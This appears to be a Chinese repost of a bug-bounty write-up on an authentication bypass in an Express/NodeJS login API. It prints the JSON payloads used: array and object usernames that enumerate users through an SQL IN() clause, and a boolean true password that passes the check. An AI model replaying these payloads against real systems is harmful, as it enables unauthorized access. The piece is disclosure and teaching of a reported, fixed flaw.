内容简介:本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法,以便在遇到类似的Web界面(仅提供单一登录表单)时可以利用这种方法来寻找漏洞。方法论如果大家曾经对大型网站(例如GM、Sony、Oath或Twitter)进行过漏洞挖掘,那么进行的第一项工作可能就是运行子域名发现工具,从而进入到初始侦查过程中。这样一来,我们就能获得潜在目标的列表,有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘,可能会使用Aq
本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法,以便在遇到类似的Web界面(仅提供单一登录表单)时可以利用这种方法来寻找漏洞。
方法论
如果大家曾经对大型网站(例如GM、Sony、Oath或Twitter)进行过漏洞挖掘,那么进行的第一项工作可能就是运行子域名发现工具,从而进入到初始侦查过程中。这样一来,我们就能获得潜在目标的列表,有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘,可能会使用Aquatone这类工具,这类 工具 能够对常用端口上运行的Web服务进行扫描,同时列举出网站的响应标题,并打印出屏幕,最终提供一份HTML格式的报告。
但是,当我们查看报告时,会注意到,大多数情况下,这些Web服务器会呈现出“404 Not Found”、“401 Unauthorized”、“500 Internal Server Error”、默认Web界面或各种服务页面。其中,服务页面又包括VPN或网络设备登录页面、第三方软件、cPanels、WordPress登录页面等。我们可能无法直接获得Web应用程序的位置,这样就无法直接进入到寻找XSS或 SQL 注入漏洞的步骤。至少,到目前为止,我还没有这样的运气。
但有时,我们实际上可以找到一些看起来像自定义应用程序的界面,其中包含一些其他选项,例如注册或忘记密码。在这里,我们是可以进行一些操作的。遇到此类情况,我通常采用以下的处理方式:
1、首先要做的,就是检查页面的源代码,我们可以找到例如JavaScript或CSS这样的资源链接,并且能从中发现一些应用程序目录,例如/assets、/public、/scripts等。我们应该对这些目录进行检查,以发现其中是否存在可以利用的文件。
2、Wappalyzer(支持在所有流行浏览器上作为扩展使用)能够提供技术上的充分信息,包括Web服务器、服务器端使用的技术、JavaScript库等。这样一来,我们将掌握该页面的整体情况,并为进一步的测试选择正确的方法。在这里,如果应用程序是使用Ruby on Rails构建的,那么可以尝试使用针对JavaEE的RCE Payload。
3、如果发现任何JavaScript文件,我会执行一些静态分析,以确认是否有任何API终端暴露问题,以及是否存在任何客户端身份验证和用户输入验证逻辑。
4、在完成上述步骤并掌握一定信息后,我开始使用Burp Suite测试所有功能(包括登录、注册、忘记密码等)的实际逻辑,并拦截对服务器的请求。然后,我将请求发送到Repeater进行重放。具体而言,我们在application/json、application/xml和其他类型的位置更改Content-Type,使用多个Payload作为请求的主题,在不同的HTTP方法之间切换,或更改HTTP请求标头,并观察上述尝试是否能导致服务器端出现错误。如果应用程序存在任何漏洞,现在就是发现这些漏洞的最佳时机,我们需要认真观察每个响应,并且注意任何一点细小的变化。例如,我们使用PUT替换GET发出请求,标头是否出现缺少?如果我们发送一个格式错误的JSON,响应正文中是否会出现不寻常的字符?
5、最后,我运行wfuzz,尝试发现服务器上一些不需要的文件或文件夹。我自定义的“Starter Pack”字典中,包含一些Web服务器上常见的内容,例如.git或.svn这些源版本控制系统文件夹、JetBrain的.idea这类IDE目录、.DS_Store文件、配置文件、常见Web接口路径、管理员接口,以及Tomcat、JBoss、Sharepoint的特定文件或文件夹。这个字典中,共包含约45k的条目,我发现利用这一字典总能找到一些有趣的内容,可以帮助我进一步发现漏洞。
如果进行上述步骤后,没有任何发现,那么我认为这一应用程序的安全性较强,很可能没有漏洞能够绕过身份验证或进入应用程序。
在实际尝试中,通过分析认证的请求,我们得到了一些线索。实际上,这是一个简单的登录表单,但经过我们对HTTP响应标头进行分析并使用Wappalyzer进行扫描后,结果表明这是一个使用ExpressJS框架构建的NodeJS应用程序。我之前担任Web开发人员时,JavaScript是我最为常用的语言,并且我已经在寻找JavaScript相关的栈漏洞这一方面积累了充分的经验。因此,我决定深入挖掘这一漏洞,看看我能够做些什么。
漏洞发现
我们使用Payload,对侦查阶段发现的终端进行测试,在这里,找到了一个凭据错误的漏洞,该漏洞是在JSON的POST过程中包含用户名和密码:
POST /api/auth/login HTTP/1.1 Host: REDACTED Connection: close Content-Length: 48 Accept: application/json, text/plain, */* Origin: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1 Content-Type: application/json;charset=UTF-8 Referer: REDACTED/login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7 Cookie: REDACTED {“username”:”bl4de”,”password”:”secretpassword”}
在本文的后续,我将省略HTTP标头,因为我们没有对标头进行任何更改。
在响应中,没有看到任何令人兴奋的内容,除了其中的一个细节:
HTTP/1.1 401 Unauthorized X-Powered-By: Express Vary: X-HTTP-Method-Override, Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization X-Content-Type-Options: nosniff Content-Type: application/json; charset=utf-8 Content-Length: 83 ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE” Date: Thu, 11 Oct 2018 18:50:26 GMT Connection: close {“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
这个细节是,响应使用了方括号来返回我发送的用户名。因为在JavaScript中,方括号表示数组,所以这个用户名的返回值,看起来像是这个数组的实际元素。为了确认这一点,我发送了另一个Payload,一个空的数组:
{“username”:[],”password”:”secretpassword”}
服务器响应如下,印证了我们的这一推测:
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
一个空的数组?那么方括号是否可以被接受为用户名呢?
我们尝试将空对象作为用户名提交,看看会发生什么:
{“username”:{},”password”:”secretpassword”}
针对该请求的响应内容,证明了我的猜想,刚刚发送的内容会在身份验证逻辑中用作用户名(尝试调用{}.replace函数,但没有替换JavaScript对象):
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
我们创建一个空的对象(对应上述响应中的val),然后调用replace()作为其方法。我们可以看到,错误完全相同:
let val = {} val.replace() VM188:1 Uncaught TypeError: val.replace is not a function at <anonymous>:1:5
漏洞利用
在确认了这一漏洞后,我们就要尝试对其进行成功的利用。我们根据其响应内容,推断背后所运行的代码,接下来要做的下一个测试,就是尽可能“捣乱”,以触发其他错误。看起来,嵌套数组([[]])是一个不错的尝试:
{“username”:[[]],”password”:”secretpassword”}
来自服务器的响应内容超出了我的预期:
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
在我们看到类似这样的错误信息时,会本能地想到SQL注入。但首先,我们需要知道如何在该查询中使用用户名来制作正确的Payload,并攻陷 MySQL 服务。我们知道,用户名被视为某个数组元素,因此我发送了一个请求,其中username只是数组的第一个元素([0]):
{“username”:[0],”password”:”secretpassword”}
这一次,应用程序返回了不一样的错误信息:
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
经过快速分析后,我发现我能够以某种方式,使用ID为0的用户(或者某个数据结构中索引为0的用户)发送另一个请求。由于密码错误,显然并没有成功进行身份验证。实际上,我们可以看到Authorization表头中包含Base 64编码后的字符串super.adm:secretpassword,这也就意味着该应用程序确实启用了索引为0的用户。
接下来,我们想要弄清楚,是否可以使用后续的索引(1、2、3)从数据库中枚举用户。经过尝试,成功的找到了另外两个用户。此外,我们还发现可以传递任意数量的索引,作为登陆请求的用户名中的数组,它们将在IN()子句的SQL查询中使用:
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
只要发现其中的某个索引有效,这一请求总会返回一个有效的用户(应用程序尝试使用SQL查询,从数据库中选择的用户名发送这一内部API请求)。但是,它仍然没有接受我尝试的密码,因此我们目前还没能完全绕过身份验证。我的下一个挑战,就是找到绕过密码验证的方法。
考虑到我正在分析JavaScript应用程序,那么我能想到的一个简单的东西就是Boolean false。
{“username”:[0],”password”:false}
这次,来自服务器的响应是不同的:
{"result":"Please provide credentials","resultCode":500,"type":"error"}
我从来没有见过这个错误,但我很快确认,刚刚的尝试是有效的,因为其中缺少了用户名和密码。由于我提供了用户名,服务器只需要验证密码,但false表示根本没有密码。如果我们其改成“null”或“0”(这些都是JavaScript中的False值),也将得到相同的响应。
最终PoC
所以,如果将密码设置为False不起作用,那么如何将密码设置为True呢?
{“username”:[0],”password”:true}
就是这样,使用数组的第一个元素([0])作为用户名,并且使用True关键字作为密码,使我成功绕过了身份验证,并得到如下响应:
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
需要澄清一点,完整的绕过并没有完成,原因在于这一过程中还涉及到第三个因素:PIN码。实际上,PIN码应该在登录后输入,由此证明我们已经绕过了身份验证机制。这一漏洞在提交后被认为有效,并且目前已经被厂商修复。
由于会使用正则表达式对用户名和密码进行检查,因此我们在尝试创建Payload时会返回语法错误的错误提示,因为Payload中包含不支持的字符,我们无法进行SQL注入。
致谢
最后,我要感谢该公司及安全团队的支持与及时修复,感谢HackerOne赏金计划使我拥有了探索漏洞的机会。最后,要感谢我所在的安全小组成员为这份报告所提供的支持与反馈。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Shiro权限绕过漏洞分析(CVE-2020-2957)
- libSSH 认证绕过漏洞(CVE-2018-10933)分析
- Microsoft Edge和IE浏览器同源策略绕过漏洞分析
- libssh CVE-2018-10933 身份验证绕过漏洞分析报告
- 赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析
- 网藤能力中心 | Nuxeo认证绕过和RCE漏洞(CVE-2018-16341) 分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Java核心技术·卷1:基础知识(原书第9版)
(美)Cay S. Horstmann、(美)Gary Cornell / 周立新、陈波、叶乃文、邝劲筠、杜永萍 / 机械工业出版社 / 2013-11-1 / 119.00
Java领域最有影响力和价值的著作之一,拥有20多年教学与研究经验的资深Java技术专家撰写(获Jolt大奖),与《Java编程思想》齐名,10余年全球畅销不衰,广受好评。第9版根据JavaSE7全面更新,同时修正了第8版中的不足,系统全面讲解Java语言的核心概念、语法、重要特性和开发方法,包含大量案例,实践性强。 《Java核心技术·卷1:基础知识》共14章。第1章概述了Java语言与其......一起来看看 《Java核心技术·卷1:基础知识(原书第9版)》 这本书的介绍吧!
JSON 在线解析
在线 JSON 格式化工具
HEX CMYK 转换工具
HEX CMYK 互转工具